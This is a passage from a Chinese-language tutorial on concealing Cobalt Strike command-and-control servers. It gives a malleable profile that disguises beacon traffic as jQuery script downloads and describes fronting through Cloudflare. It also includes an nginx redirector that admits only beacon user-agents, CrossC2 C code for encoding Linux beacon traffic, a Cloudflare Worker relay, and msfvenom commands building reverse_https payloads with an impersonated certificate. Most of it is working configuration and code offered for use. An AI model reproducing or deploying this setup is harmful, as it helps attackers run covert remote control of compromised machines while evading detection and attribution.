                append "\".(o=t.documentElement,Math.max(t.body[\"scroll\"+e],o[\"scroll\"+e],t.body[\"offset\"+e],o[\"offset\"+e],o[\"client\"+e])):void 0===i?w.css(t,n,s):w.style(t,n,i,s)},t,a?i:void 0,a)}})}),w.each(\"blur focus focusin focusout resize scroll click dblclick mousedown mouseup mousemove mouseover mouseout mouseenter mouseleave change select submit keydown keypress keyup contextmenu\".split(\" \"),function(e,t){w.fn[t]=function(e,n){return arguments.length>0?this.on(t,null,e,n):this.trigger(t)}}),w.fn.extend({hover:function(e,t){return this.mouseenter(e).mouseleave(t||e)}}),w.fn.extend({bind:function(e,t,n){return this.on(e,null,t,n)},unbind:function(e,t){return this.off(e,null,t)},delegate:function(e,t,n,r){return this.on(t,e,n,r)},undelegate:function(e,t,n){return 1===arguments.length?this.off(e,\"**\"):this.off(t,e||\"**\",n)}}),w.proxy=function(e,t){var n,r,i;if(\"string\"==typeof t&&(n=e[t],t=e,e=n),g(e))return r=o.call(arguments,2),i=function(){return e.apply(t||this,r.concat(o.call(arguments)))},i.guid=e.guid=e.guid||w.guid++,i},w.holdReady=function(e){e?w.readyWait++:w.ready(!0)},w.isArray=Array.isArray,w.parseJSON=JSON.parse,w.nodeName=N,w.isFunction=g,w.isWindow=y,w.camelCase=G,w.type=x,w.now=Date.now,w.isNumeric=function(e){var t=w.type(e);return(\"number\"===t||\"string\"===t)&&!isNaN(e-parseFloat(e))},\"function\"==typeof define&&define.amd&&define(\"jquery\",[],function(){return w});var Jt=e.jQuery,Kt=e.$;return w.noConflict=function(t){return e.$===w&&(e.$=Kt),t&&e.jQuery===w&&(e.jQuery=Jt),w},t||(e.jQuery=e.$=w),w});";
                print;
            }
        }
    }
    
    http-post {
    
        set uri "/jquery-3.3.2.min.js";
        set verb "POST";
    
        client {
    
            header "Accept" "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8";
            #header "Host" "code.jquery.com";
            header "Referer" "http://code.jquery.com/";
            header "Accept-Encoding" "gzip, deflate";
           
            id {
                mask;       
                base64url;
                parameter "__cfduid";            
            }
                  
            output {
                mask;
                base64url;
                print;
            }
        }
    
        server {
    
            header "Server" "NetDNA-cache/2.2";
            header "Cache-Control" "max-age=0, no-cache";
            header "Pragma" "no-cache";
            header "Connection" "keep-alive";
            header "Content-Type" "application/javascript; charset=utf-8";
    
            output {
                mask;
                base64url;
                ## The javascript was changed.  Double quotes and backslashes were escaped to properly render (Refer to Tips for Profile Parameter Values)
                # 2nd Line            
                prepend "!function(e,t){\"use strict\";\"object\"==typeof module&&\"object\"==typeof module.exports?module.exports=e.document?t(e,!0):function(e){if(!e.document)throw new Error(\"jQuery requires a window with a document\");return t(e)}:t(e)}(\"undefined\"!=typeof window?window:this,function(e,t){\"use strict\";var n=[],r=e.document,i=Object.getPrototypeOf,o=n.slice,a=n.concat,s=n.push,u=n.indexOf,l={},c=l.toString,f=l.hasOwnProperty,p=f.toString,d=p.call(Object),h={},g=function e(t){return\"function\"==typeof t&&\"number\"!=typeof t.nodeType},y=function e(t){return null!=t&&t===t.window},v={type:!0,src:!0,noModule:!0};function m(e,t,n){var i,o=(t=t||r).createElement(\"script\");if(o.text=e,n)for(i in v)n[i]&&(o[i]=n[i]);t.head.appendChild(o).parentNode.removeChild(o)}function x(e){return null==e?e+\"\":\"object\"==typeof e||\"function\"==typeof e?l[c.call(e)]||\"object\":typeof e}var b=\"3.3.1\",w=function(e,t){return new w.fn.init(e,t)},T=/^[\\s\\uFEFF\\xA0]+|[\\s\\uFEFF\\xA0]+$/g;w.fn=w.prototype={jquery:\"3.3.1\",constructor:w,length:0,toArray:function(){return o.call(this)},get:function(e){return null==e?o.call(this):e<0?this[e+this.length]:this[e]},pushStack:function(e){var t=w.merge(this.constructor(),e);return t.prevObject=this,t},each:function(e){return w.each(this,e)},map:function(e){return this.pushStack(w.map(this,function(t,n){return e.call(t,n,t)}))},slice:function(){return this.pushStack(o.apply(this,arguments))},first:function(){return this.eq(0)},last:function(){return this.eq(-1)},eq:function(e){var t=this.length,n=+e+(e<0?t:0);return this.pushStack(n>=0&&n<t?[this[n]]:[])},end:function(){return this.prevObject||this.constructor()},push:s,sort:n.sort,splice:n.splice},w.extend=w.fn.extend=function(){var e,t,n,r,i,o,a=arguments[0]||{},s=1,u=arguments.length,l=!1;for(\"boolean\"==typeof a&&(l=a,a=arguments[s]||{},s++),\"object\"==typeof a||g(a)||(a={}),s===u&&(a=this,s--);s<u;s++)if(null!=(e=arguments[s]))for(t in e)n=a[t],a!==(r=e[t])&&(l&&r&&(w.isPlainObject(r)||(i=Array.isArray(r)))?(i?(i=!1,o=n&&Array.isArray(n)?n:[]):o=n&&w.isPlainObject(n)?n:{},a[t]=w.extend(l,o,r)):void 0!==r&&(a[t]=r));return a},w.extend({expando:\"jQuery\"+(\"3.3.1\"+Math.random()).replace(/\\D/g,\"\"),isReady:!0,error:function(e){throw new Error(e)},noop:function(){},isPlainObject:function(e){var t,n;return!(!e||\"[object Object]\"!==c.call(e))&&(!(t=i(e))||\"function\"==typeof(n=f.call(t,\"constructor\")&&t.constructor)&&p.call(n)===d)},isEmptyObject:function(e){var t;for(t in e)return!1;return!0},globalEval:function(e){m(e)},each:function(e,t){var n,r=0;if(C(e)){for(n=e.length;r<n;r++)if(!1===t.call(e[r],r,e[r]))break}else for(r in e)if(!1===t.call(e[r],r,e[r]))break;return e},trim:function(e){return null==e?\"\":(e+\"\").replace(T,\"\")},makeArray:function(e,t){var n=t||[];return null!=e&&(C(Object(e))?w.merge(n,\"string\"==typeof e?[e]:e):s.call(n,e)),n},inArray:function(e,t,n){return null==t?-1:u.call(t,e,n)},merge:function(e,t){for(var n=+t.length,r=0,i=e.length;r<n;r++)e[i++]=t[r];return e.length=i,e},grep:function(e,t,n){for(var r,i=[],o=0,a=e.length,s=!n;o<a;o++)(r=!t(e[o],o))!==s&&i.push(e[o]);return i},map:function(e,t,n){var r,i,o=0,s=[];if(C(e))for(r=e.length;o<r;o++)null!=(i=t(e[o],o,n))&&s.push(i);else for(o in e)null!=(i=t(e[o],o,n))&&s.push(i);return a.apply([],s)},guid:1,support:h}),\"function\"==typeof Symbol&&(w.fn[Symbol.iterator]=n[Symbol.iterator]),w.each(\"Boolean Number String Function Array Date RegExp Object Error Symbol\".split(\" \"),function(e,t){l[\"[object \"+t+\"]\"]=t.toLowerCase()});function C(e){var t=!!e&&\"length\"in e&&e.length,n=x(e);return!g(e)&&!y(e)&&(\"array\"===n||0===t||\"number\"==typeof t&&t>0&&t-1 in e)}var E=function(e){var t,n,r,i,o,a,s,u,l,c,f,p,d,h,g,y,v,m,x,b=\"sizzle\"+1*new Date,w=e.document,T=0,C=0,E=ae(),k=ae(),S=ae(),D=function(e,t){return e===t&&(f=!0),0},N={}.hasOwnProperty,A=[],j=A.pop,q=A.push,L=A.push,H=A.slice,O=function(e,t){for(var n=0,r=e.length;n<r;n++)if(e[n]===t)return n;return-1},P=\"\r";
                # 1st Line
                prepend "/*! jQuery v3.3.1 | (c) JS Foundation and other contributors | jquery.org/license */";
                append "\".(o=t.documentElement,Math.max(t.body[\"scroll\"+e],o[\"scroll\"+e],t.body[\"offset\"+e],o[\"offset\"+e],o[\"client\"+e])):void 0===i?w.css(t,n,s):w.style(t,n,i,s)},t,a?i:void 0,a)}})}),w.each(\"blur focus focusin focusout resize scroll click dblclick mousedown mouseup mousemove mouseover mouseout mouseenter mouseleave change select submit keydown keypress keyup contextmenu\".split(\" \"),function(e,t){w.fn[t]=function(e,n){return arguments.length>0?this.on(t,null,e,n):this.trigger(t)}}),w.fn.extend({hover:function(e,t){return this.mouseenter(e).mouseleave(t||e)}}),w.fn.extend({bind:function(e,t,n){return this.on(e,null,t,n)},unbind:function(e,t){return this.off(e,null,t)},delegate:function(e,t,n,r){return this.on(t,e,n,r)},undelegate:function(e,t,n){return 1===arguments.length?this.off(e,\"**\"):this.off(t,e||\"**\",n)}}),w.proxy=function(e,t){var n,r,i;if(\"string\"==typeof t&&(n=e[t],t=e,e=n),g(e))return r=o.call(arguments,2),i=function(){return e.apply(t||this,r.concat(o.call(arguments)))},i.guid=e.guid=e.guid||w.guid++,i},w.holdReady=function(e){e?w.readyWait++:w.ready(!0)},w.isArray=Array.isArray,w.parseJSON=JSON.parse,w.nodeName=N,w.isFunction=g,w.isWindow=y,w.camelCase=G,w.type=x,w.now=Date.now,w.isNumeric=function(e){var t=w.type(e);return(\"number\"===t||\"string\"===t)&&!isNaN(e-parseFloat(e))},\"function\"==typeof define&&define.amd&&define(\"jquery\",[],function(){return w});var Jt=e.jQuery,Kt=e.$;return w.noConflict=function(t){return e.$===w&&(e.$=Kt),t&&e.jQuery===w&&(e.jQuery=Jt),w},t||(e.jQuery=e.$=w),w});";
                print;
            }
        }
    }
    

    https-certificate为证书相关的配置,其他client.header中Host的值要为我们申请的域名,其他的部分,根据个人情况去配置。将host头修改为Cloudflare加速的域名(http-stager、http-get、http-post):

    https-certificate {
    set keystore"keystore.store"; //证书所在的位置
    set password "1234565";//证书的密码
    }
     
    http-config {
       set trust_x_forwarded_for "true";
    }
    

    禁用缓存:

    在这个Profile jquery-c2.4.*.profile 中,我们请求的URI是以.js结尾的,Cloudflare作为一个CDN肯定要去缓存它,但这样的话请求就无法到达我们的CS服务器,自然也就无法上线了。

    添加Cloudflare规则 ,不代理js请求。

    需要更改Profile中的响应头配置,不然可能会出现能上线但是无法回显命令的情况

    header "Content-Type" "application/javascript; charset=utf-8"; 
    修改为: 
    header "Content-Type" "application/*; charset=utf-8";
    

    使用c2lint 验证profile是否配置成功:./c2lint jquery-c2.4.4.profile

    或者也可以选择使用Github 开源项目生成Profile文件,项目地址:https://github.com/FortyNorthSecurity/C2concealer

    • 4. 使用配置文件启动服务器:
    ./teamserver IP 密码 profile文件
    

    在确保域名解析正确的情况下,此时 HTTPS BEACON 已经可以上线了,我们需要对 CS 的 listener 进行配置。填入三次你的域名,其他的默认就好。

    注意:powershell的上线方式需要启动ssl证书。

    0x03 nginx反向代理:

    安装nginx:

    apt install nginx nginx-extras
    

    使用https://github.com/threatexpress/cs2modrewrite提供的脚本生成配置文件:

    python cs2nginx.py -i havex.profile -c https://127.0.0.1:8443 -r https://www.baidu.com -H www.xxxxxx.com > nginx.conf
    

    对各个参数进行说明,如下

    -i:模板文件,这个固定的,可以不用管。
    -c:为后端 CS 绑定的端口,这个会在后面 CS 的配置中有所体现
    -r:为不合要求的访问 302 重定向去的位置,这里填了百度
    -H:为你的域名,这里就是你配的那个

    将已生成的nginx.conf上传,并覆盖/etc/nginx/nginx.conf,对生成的配置文件需要进一步修改:

    • 配置 ssl 证书:
    #####################
    # SSL Configuration
    #####################
    listen 443 ssl;  //这里需要修改成MF允许的https端口
    listen [::]:443 ssl;
    ssl on;
    
    ssl_certificate /home/cs4.4/server.pem; 
    ssl_certificate_key /home/cs4.4/client.key;
    ssl_session_cache shared:le_nginx_SSL:1m;
    ssl_session_timeout 1440m;
    ssl_protocols TLSv1 TLSv1.1 TLSv1.2 TLSv1.3;
    ssl_prefer_server_ciphers on;
    
    • 定制化处理 location 块:

    将访问jquery-3.3.2.slim.min.js规定给仅有指定头才能反向代理到8443端口,这里我用的是jquery-c2.4.4.profile,ua头就设置配置文件中的ua头,使得只有指定 URL 才能访问,保证了不会被扫到。指定 User-Agent 可以确保的都是 Beacon:

    ##########################
    # C2 Profile endpoints
    ##########################
    # Custom regex to allow requests to backend C2 server
    # Note: If the backend C2 server isn't available, the useragent will receive a redirect to the
    #       redirector's root page due to the custom error handling configured above
    # Note: This intentionally does not handle default Beacon staging ^/....
    location ~ ^(/jquery-3\.3\.1\.slim\.min\.js|/jquery-3\.3\.2\.min\.js|/jquery-3\.3\.1\.min\.js|/jquery-3\.3\.2\.slim\.min\.js)$ {
    if ($http_user_agent != "Mozilla/5.0 (Windows NT 6.3; Trident/7.0; rv:11.0) like Gecko") {
    return 302 $REDIRECT_DOMAIN$request_uri; 
    }
    proxy_pass          $C2_SERVER;
    

    建议:Nginx 宜以 root 权限运行,默认生成的文件是 www-data 用户。使用该用户可能会有权限问题导致无法上线

    CS 配置如下:

    成功上线

    这时我们的 listener 监听的是 0.0.0.0,我们应该配置成只能让反向代理套件访问,设置iptables,阻止非预期访问:

    iptables -A INPUT -s 127.0.0.1 -p tcp --dport 8443 -j ACCEPT
    iptables -A INPUT -p tcp --dport 8443 -j DROP
    

    为了进一步避免被发现真实IP,利用iptables设置白名单,只允许CloudFlare的回源IP进行访问,不允许直接访问IP,其回源IP可从 https://www.cloudflare.com/zh-cn/ips/ 获取

    iptables -A INPUT -p tcp --dport 443 -j DROP
    iptables -I INPUT -s 173.245.48.0/20 -p tcp --dport 443 -j ACCEPT
    ..................................................
    iptables -I INPUT -s 103.21.244.0/22 -p tcp --dport 443 -j ACCEPT
    
    0x04 配置Crossc2上线Linux:

    CrossC2是一款上线Linux系统的拓展插件
    项目地址:https://github.com/gloxec/CrossC2/releases/

    修改cna文件内容:

    • CC2_PATH:指定插件存放位置(win系统使用双斜杠,linux系统使用反斜杠)
    • CC2_BIN:根据运行CS客户端的系统环境修改

    解压CrossC2Kit-GithubBot-2022-06-07.zip文件,解压后文件目录为CrossC2Kit。
    去到CS服务器目录下,找到.cobaltstrike.beacon_keys文件,拷贝下来,放到和cna同一目录下。

    在不加载profile的情况下,运行客户端,连接CS并加载插件:

    创建监听,注意选择Beacon HTTPS,然后点击上方CrossC2选项,生成一个C2的反向监听:

    将生成的文件上传至目标机器,赋权并运行上线CS:

    上述操作是未带C2-Profile,直接带上C2-Profile,CrossC2所生成的Beacon可能无法上线也可能是上线了执行不了命令(这里可以自己尝试一下)。因此CrossC2提供通信协议API的方式来解决该问题。

    CrossC2提供了一个c2profile.c文件,在该文件内编写相应的c代码,然后打包成.so文件,在使用./genCrossC2.Linux时指定编译好的.so文件。这样生成的Beacon就可以按照c编写的逻辑构造数据包和解码数据包。

    其中还提供了一个https.profile,和默认的c2profile.c文件是配对的,可以直接使用:

    ./teamserver 192.168.54.131 123456 https.profile
    
    gcc c2profile.c -fPIC -shared -o lib_rebind_test.so
    ./genCrossC2.Linux 192.168.54.131 443 .cobaltstrike.beacon_keys lib_rebind_test.so Linux x64 ./test.out
    

    通信函数说明:

    • Beacon向TeamServer发送数据时触发
      cc2_rebind_http_get_send
      cc2_rebind_http_post_send
    • Beacon接收TeamServer响应的数据时触发
      cc2_rebind_http_get_recv
      cc2_rebind_http_post_recv
    • 查找有用的数据部分
      find_payload

    以jquery-c2.4.4.profile默认配置为例,基本不需要专门修改。
    在不去掉C2-Profile中的Mask编码,需要自己实现Mask的编码和解码逻辑方式如下:

    #include <stdio.h>
    #include <stdlib.h>
    #include <string.h>
    #include <unistd.h>
    #include <time.h>
    
    static const char *BASE64_STR_CODE = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/";
    static const short BASE64_INT_CODE[] = {-1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1,
                                            -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1,
                                            -1, -1, -1, 62, -1, -1, -1, 63, 52, 53, 54, 55, 56, 57, 58, 59, 60, 61, -1, -1,
                                            -1, -1, -1, -1, -1, 0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16,
                                            17, 18, 19, 20, 21, 22, 23, 24, 25, -1, -1, -1, -1, -1, -1, 26, 27, 28, 29, 30,
                                            31, 32, 33, 34, 35, 36, 37, 38, 39, 40, 41, 42, 43, 44, 45, 46, 47, 48, 49, 50,
                                            51};
    static const short BASE64_INT_LENGTH = sizeof(BASE64_INT_CODE) / sizeof(BASE64_INT_CODE[0]);
    
    void base64_decode_to_ascii(char *base64Str, long res[]) {
        int i = 0;
        int j = 0;
        int v1 = 0;
        int v2 = 0;
        int v3 = 0;
        int base64StrLength = strlen(base64Str);
    
        for (i = 0; i < base64StrLength; ++i) {
            char ascii = base64Str[i];
            if (ascii == 0x20 | ascii == '\n' | ascii == '\t') {
                break;
            } else {
                if (ascii == '=') {
                    ++v3;
                    v1 <<= 6;
                    ++v2;
                    switch (v2) {
                        case 1:
                        case 2:
                            return;
                        case 3:
                            break;
                        case 4:
                            res[j++] = (char) (v1 >> 16);
                            if (v3 == 1) {
                                res[j++] = (char) (v1 >> 8);
                            }
                            break;
                        case 5:
                            return;
                        default:
                            return;
                    }
                } else {
                    if (v3 > 0) {
                        return;
                    }
    
                    if (ascii >= 0 && ascii < BASE64_INT_LENGTH) {
                        short v4 = BASE64_INT_CODE[ascii];
                        if (v4 >= 0) {
                            v1 = (v1 << 6) + v4;
                            ++v2;
                            if (v2 == 4) {
                                res[j++] = (char) (v1 >> 16);
                                res[j++] = (char) (v1 >> 8 & 255);
                                res[j++] = (char) (v1 & 255);
                                v1 = 0;
                                v2 = 0;
                            }
                            continue;
                        }
                    }
    
                    if (ascii == 0x20 | ascii == '\n' | ascii == '\t') {
                        return;
                    }
                }
            }
        }
    }
    
    void ascii_to_base64_encode(long ascii[], unsigned long asciiLength, char res[]) {
        long i = 0;
        long j = 0;
        long v1 = 0;
        long v2 = 0;
        long v3 = 0;
        long v6 = 0;
    
        for (i = 0; i < asciiLength; ++i) {
            v6 = ascii[v1++];
            if (v6 < 0) {
                v6 += 256;
            }
    
            v2 = (v2 << 8) + v6;
            ++v3;
            if (v3 == 3) {
                res[j++] = BASE64_STR_CODE[v2 >> 18];
                res[j++] = BASE64_STR_CODE[v2 >> 12 & 63];
                res[j++] = BASE64_STR_CODE[v2 >> 6 & 63];
                res[j++] = BASE64_STR_CODE[v2 & 63];
                v2 = 0;
                v3 = 0;
            }
        }
    
        if (v3 > 0) {
            if (v3 == 1) {
                res[j++] = BASE64_STR_CODE[v2 >> 2];
                res[j++] = BASE64_STR_CODE[v2 << 4 & 63];
                res[j++] = (unsigned char) '=';
            } else {
                res[j++] = BASE64_STR_CODE[v2 >> 10];
                res[j++] = BASE64_STR_CODE[v2 >> 4 & 63];
                res[j++] = BASE64_STR_CODE[v2 << 2 & 63];
            }
            res[j] = (unsigned char) '=';
        }
    }
    
    unsigned long get_base64_decode_length(char *base64Str) {
        long num;
        long base64StrLength = strlen(base64Str);
        if (strstr(base64Str, "==")) {
            num = base64StrLength / 4 * 3 - 2;
        } else if (strstr(base64Str, "=")) {
            num = base64StrLength / 4 * 3 - 1;
        } else {
            num = base64StrLength / 4 * 3;
        }
        return sizeof(unsigned char) * num;
    }
    
    unsigned long get_base64_encode_length(long strLen) {
        long num;
        if (strLen % 3 == 0) {
            num = strLen / 3 * 4;
        } else {
            num = (strLen / 3 + 1) * 4;
        }
        return sizeof(unsigned char) * num;
    }
    
    void mask_decode(long ascii[], unsigned long asciiLength, long res[]) {
        long i = 0;
        long j = 0;
        short key[4] = {
                ascii[0],
                ascii[1],
                ascii[2],
                ascii[3]
        };
        for (i = 4; i < asciiLength; ++i) {
            res[j] = ascii[i] ^ key[j % 4];
            j++;
        }
    }
    
    void mask_encode(long ascii[], unsigned long asciiLength, long res[]) {
        long i = 0;
        srand(time(NULL));
        short key[4] = {
                (char) (rand() % 255),
                (char) (rand() % 255),
                (char) (rand() % 255),
                (char) (rand() % 255)
        };
        res[0] = key[0];
        res[1] = key[1];
        res[2] = key[2];
        res[3] = key[3];
        for (i = 4; i < asciiLength; i++) {
            res[i] = ascii[i - 4] ^ key[i % 4];
        }
    }
    
    char *fix_reverse(char *str) {
        int i = 0;
        unsigned long strLength = strlen(str);
        char *res = calloc(strLength + 4, strLength + 4);
        for (i = 0; i < strLength; ++i) {
            if (str[i] == '_') {
                res[i] = '/';
            } else if (str[i] == '-') {
                res[i] = '+';
            } else {
                res[i] = str[i];
            }
        }
        while (strlen(res) % 4 != 0) {
            res[strLength++] = '=';
        }
        res[strlen(res) + 1] = '\0';
        return res;
    }
    
    char *fix(char *str) {
        int i;
        unsigned long strLength = strlen(str);
        char *res = calloc(strLength, strLength);
        for (i = 0; i < strLength; i++) {
            if (str[i] == '/') {
                res[i] = '_';
            } else if (str[i] == '+') {
                res[i] = '-';
            } else if (str[i] == '=') {
                continue;
            } else {
                res[i] = str[i];
            }
        }
        return res;
    }
    
    char *find_payload(char *rawData, long long rawData_len, char *start, char *end, long long *payload_len) {
        rawData = strstr(rawData, start) + strlen(start);
    
        *payload_len = strlen(rawData) - strlen(strstr(rawData, end));
    
        char *payload = (char *) calloc(*payload_len, sizeof(char));
        memcpy(payload, rawData, *payload_len);
        return payload;
    }
    
    char *cc2_rebind_http_post_send_param(char *data) {
        unsigned long base64DecodeLength = get_base64_decode_length(data);
    
        long base64DecodeRes[base64DecodeLength];
        memset(base64DecodeRes, 0, base64DecodeLength);
        base64_decode_to_ascii(data, base64DecodeRes);
    
        long maskEncodeRes[base64DecodeLength + 4];
        memset(maskEncodeRes, 0, base64DecodeLength + 4);
        mask_encode(base64DecodeRes, base64DecodeLength + 4, maskEncodeRes);
    
        unsigned long base64EncodeLength = get_base64_encode_length(sizeof(maskEncodeRes) / sizeof(maskEncodeRes[0]));
        char *result = calloc(base64EncodeLength, base64EncodeLength);
        ascii_to_base64_encode(maskEncodeRes, base64DecodeLength + 4, result);
    
        return result;
    }
    
    char *cc2_rebind_http_recv_param(char *payload) {
        char *data = fix_reverse(payload);
    
        unsigned long base64DecodeLength = get_base64_decode_length(data);
        long base64DecodeRes[base64DecodeLength];
        memset(base64DecodeRes, 0, base64DecodeLength);
        base64_decode_to_ascii(data, base64DecodeRes);
    
        long maskDecodeRes[base64DecodeLength - 4];
        memset(maskDecodeRes, 0, base64DecodeLength - 4);
        mask_decode(base64DecodeRes, base64DecodeLength, maskDecodeRes);
    
        unsigned long base64EncodeLength = get_base64_encode_length(base64DecodeLength - 4);
        char *result = calloc(base64EncodeLength, base64EncodeLength);
        ascii_to_base64_encode(maskDecodeRes, base64DecodeLength - 4, result);
    
        return result;
    }
    
    void cc2_rebind_http_get_send(char *reqData, char **outputData, long long *outputData_len) {
        char *requestBody = "GET /%s HTTP/1.1\r\n"
                            "Host: code.jquery.com\r\n"
                            "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n"
                            "Accept-Encoding: gzip, deflate\r\n"
                            "User-Agent: Mozilla/5.0 (Windows NT 6.3; Trident/7.0; rv:11.0) like Gecko\r\n"
                            "Cookie: __cfduid=%s\r\n"
                            "Referer: http://code.jquery.com/\r\n"
                            "Connection: close\r\n\r\n";
    
        char postPayload[20000];
        sprintf(postPayload, requestBody, "jquery-3.3.1.min.js", reqData);
    
        *outputData_len = strlen(postPayload);
        *outputData = (char *) calloc(1, *outputData_len);
        memcpy(*outputData, postPayload, *outputData_len);
    }
    
    void cc2_rebind_http_post_send(char *reqData, char *id, char **outputData, long long *outputData_len) {
        char *requestBody = "POST /%s?__cfduid=%s HTTP/1.1\r\n"
                            "Host: code.jquery.com\r\n"
                            "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n"
                            "Accept-Encoding: gzip, deflate\r\n"
                            "User-Agent: Mozilla/5.0 (Windows NT 6.3; Trident/7.0; rv:11.0) like Gecko\r\n"
                            "Referer: http://code.jquery.com/\r\n"
                            "Connection: close\r\n"
                            "Content-Length: %d\r\n\r\n%s";
    
        id = cc2_rebind_http_post_send_param(id);
        reqData = cc2_rebind_http_post_send_param(reqData);
    
        char *postPayload = (char *) calloc(1, strlen(requestBody) + strlen(reqData) + 200);
    
        sprintf(postPayload, requestBody, "jquery-3.3.2.min.js", id, strlen(reqData), reqData);
        *outputData_len = strlen(postPayload);
        *outputData = (char *) calloc(1, *outputData_len);
    
        memcpy(*outputData, postPayload, *outputData_len);
        free(postPayload);
    }
    
    void cc2_rebind_http_get_recv(char *rawData, long long rawData_len, char **outputData, long long *outputData_len) {
        char *start = "return-1},P=\"\r";
        char *end = "\".(o=t.documentElement";
    
        long long payload_len = 0;
        char *payload = find_payload(rawData, rawData_len, start, end, &payload_len);
    
        *outputData = cc2_rebind_http_recv_param(payload);
        *outputData_len = strlen(*outputData);
    }
    
    void cc2_rebind_http_post_recv(char *rawData, long long rawData_len, char **outputData, long long *outputData_len) {
        char *start = "return-1},P=\"\r";
        char *end = "\".(o=t.documentElement";
    
        long long payload_len = 0;
        char *payload = find_payload(rawData, rawData_len, start, end, &payload_len);
    
        *outputData = cc2_rebind_http_recv_param(payload);
        *outputData_len = strlen(*outputData);
    }
    

    项目地址:https://github.com/Richard-Tang/CrossC2-C2Profile/blob/main/c2profile.c

    同样的编译成so文件,在生成Beacon时指定so文件。

    gcc c2profile.c -fPIC -shared -o lib_rebind_test.so
    ./genCrossC2.Linux 192.168.54.131 443 .cobaltstrike.beacon_keys lib_rebind_test.so Linux x64 ./test.out
    

    运行上线,此时在带C2-Profile的情况下能正常上线CrossC2的Beacon。

    0x05 配置cloudflare-worker:

    因为cloudflare不支持域前置,所以用这个代替,类似于域前置的一个作用。
    创建一个服务然后选择快速编辑,写入js脚本:

    let upstream = 'https://your-domain.com'
       
    addEventListener('fetch', event => {
        event.respondWith(fetchAndApply(event.request));
    })
       
    async function fetchAndApply(request) {
        const ipAddress = request.headers.get('cf-connecting-ip') || '';
        let requestURL = new URL(request.url);
        let upstreamURL = new URL(upstream);
        requestURL.protocol = upstreamURL.protocol;
        requestURL.host = upstreamURL.host;
        requestURL.pathname = upstreamURL.pathname + requestURL.pathname;
       
        let new_request_headers = new Headers(request.headers);
        new_request_headers.set("X-Forwarded-For", ipAddress);
        let fetchedResponse = await fetch(
            new Request(requestURL, {
                method: request.method,
                headers: new_request_headers,
                body: request.body
            })
        );
        let modifiedResponseHeaders = new Headers(fetchedResponse.headers);
        modifiedResponseHeaders.delete('set-cookie');
        return new Response(
            fetchedResponse.body,
            {
                headers: modifiedResponseHeaders,
                status: fetchedResponse.status,
                statusText: fetchedResponse.statusText
            }
        );
    }
    

    Metasploit 流量加密:


    使用基于 HTTP 或者 HTTPS协议, 那么就可以实现基于应用层的加密:

    windows/meterpreter/reverse_http
    windows/meterpreter/reverse_https
    

    优点:流量加密,允许在不终止有效负载的情况下断开有效负载(并退出 msfconsole)。然后,当再次设置处理程序时,payloads 将自动返回。

    impersonate_ssl 模块:

    1、生成证书:

    该模块通过选项中提供的经过身份验证的源的SSL证书(会请求远程 SSL 证书)创建本地副本,输出 (PEM|DER) 格式的私钥/证书,可以在提供SSLCert选项的Metasploit的所有模块中使用。

    use auxiliary/gather/impersonate_ssl
    set RHOST www.baidu.com
    

    补充基础:

    .pem-在RFC 1421至1424中定义,这是一种容器格式,可以只包含公共证书(例如Apache安装和CA证书文件/etc/ssl/certs),或者可以包括完整的证书链,包括公共密钥,私钥和根证书。令人困惑的是,由于PKCS10格式可以转换为PEM ,因此它也可能对CSR进行编码。该名称来自“ 隐私增强邮件(PEM)”,这是一种用于保护电子邮件的失败方法,但是其使用的容器格式仍然存在,并且是x509 ASN.1密钥的base64转换。

    2、创建完证书后,可以为其创建HTTP或HTTPS类型的有效负载,并为其提供PEM格式的证书以用于验证连接:

    msfvenom -p windows/meterpreter/reverse_https LHOST=192.168.54.129 LPORT=4443 PayloadUUIDTracking=true PayloadUUIDName=Whoamishell HandlerSSLCert=/root/www.baidu.com.pem StagerVerifySSLCert=true -f exe -o 4443.exe
    # 或者生成一个psh类型的木马:
    msfvenom -p windows/x64/meterpreter/reverse_https LHOST=192.168.54.129 LPORT=4443 PayloadUUIDTracking=true PayloadUUIDName=ParanoidStagedPSH HandlerSSLCert=/root/www.baidu.com.pem StagerVerifySSLCert=true -f psh-cmd -o shell.bat
    
    • HandlerSSLCert:向处理程序通知所使用的PEM证书。
    • StagerVerifySSLCert:当收到一个连接时执行SSL证书验证。
    • PayloadUUIDTracking和PayloadUUIDName:可以在监听的时候过滤掉不需要的回连请求。

    3、启动监听:

    use exploit/multi/handler 
    set payload windows/meterpreter/reverse_https
    set LHOST 192.168.54.129
    set LPORT 4443
    set HandlerSSLCert /root/www.baidu.com.pem
    set StagerVerifySSLCert true
    exploit
    

    win7靶机反弹失败

    其他补充:


    • 服务器访问IP源限制:将真实服务器防火墙+安全组的访问源ip做网段限制!设置成仅允许Cloudflare网段进行访问
    • C2服务器安全加固:C2服务器的客户端默认连接的50050端口,配置好证书确认登录指纹信息!修改为其他高位端口,不用的时候利用防火墙安全组都deny或者限制登录ip范围
    • 禁止PING,从某种角度可以判定为主机为不存活状态:/etc/sysctl.confnet.ipv4.icmp_echo_ignore_all=1sysctl -p
    • 服务器防火墙,c2上线端口只能让cdn的IP访问

    cloudflare 使用的IP段:

    173.245.48.0/20
    103.21.244.0/22
    103.22.200.0/22
    103.31.4.0/22
    141.101.64.0/18
    108.162.192.0/18
    190.93.240.0/20
    188.114.96.0/20
    197.234.240.0/22
    198.41.128.0/17
    162.158.0.0/15
    104.16.0.0/12
    172.64.0.0/13
    131.0.72.0/22
    

    国内IP段是cloudflare与百度云合作的节点:

    162.159.211.4-103
    103.21.244.0/22
    103.22.200.0/22
    103.31.4.0/22
    104.16.0.0/12
    108.162.192.0/18
    131.0.72.0/22
    141.101.64.0/18
    162.158.0.0/15
    172.64.0.0/13
    173.245.48.0/20
    188.114.96.0/20
    190.93.240.0/20
    197.234.240.0/22
    198.41.128.0/17
    

    参考如下:


    对基础 shell 进行流量混淆
    APT级CS隐藏教程:使用反向代理、C2-Profile和CDN拉满溯源难度
    Using Cloudflare Workers as Redirectors - ajpc500
    CobaltStrike4.4汉化破解及特征去除
    域前置配合Nginx反代隐匿Cobalt Strike
    【技术分享】保姆级Cobalt Strike主机隐藏教程
